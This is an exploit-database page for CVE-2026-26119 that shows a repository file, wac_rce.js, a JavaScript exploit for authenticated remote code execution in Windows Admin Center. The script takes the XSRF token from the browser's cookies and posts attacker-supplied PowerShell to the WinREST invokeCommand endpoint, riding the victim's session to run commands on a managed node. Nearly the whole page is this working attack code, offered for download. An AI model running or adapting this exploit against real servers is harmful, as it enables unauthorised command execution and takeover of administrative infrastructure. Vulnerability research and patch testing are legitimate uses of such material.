Exploit databaseDownload repository ZIP
GH-1018debd78598672bd5564a26811688b
csdovah/vuln-cve-2026-26119
Sources for CVE-2026-26119
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
csdovah/vuln-cve-2026-26119Revision 3c00b82bba41
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
wac_rce.js
JavaScript · 1,339 bytes/**
* WAC RCE - CVE-2026-26119
* Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand.
*/
async function invokeWacCommand(scriptContent) {
const match = document.cookie.match(/(?:^|; )XSRF-TOKEN=([^;]+)/);
if (!match) {
throw new Error("XSRF-TOKEN was not present in document.cookie");
}
const xsrfToken = decodeURIComponent(match[1]);
const endpoint = "/api/services/WinREST/PowerShell/nodes/dc/invokeCommand";
const response = await fetch(endpoint, {
method: "POST",
credentials: "same-origin",
headers: {
"Content-Type": "application/json; charset=UTF-8",
"X-Xsrf-Token": xsrfToken,
"X-Ms-Sme-Module-Name": "msft.sme.shell",
"X-Ms-Sme-Module-Version": "6.8.9"
},
body: JSON.stringify({
properties: {
script: scriptContent,
command: "Get-WACSMServerConnectionStatus",
module: "Microsoft.SME.ServerManager",
state: "ready",
useInProcRunspace: false,
invokeMode: "Polling"
}
})
});
const result = await response.json();
if (!response.ok) {
throw new Error("Error en la ejecución: " + JSON.stringify(result));
}
return result;
}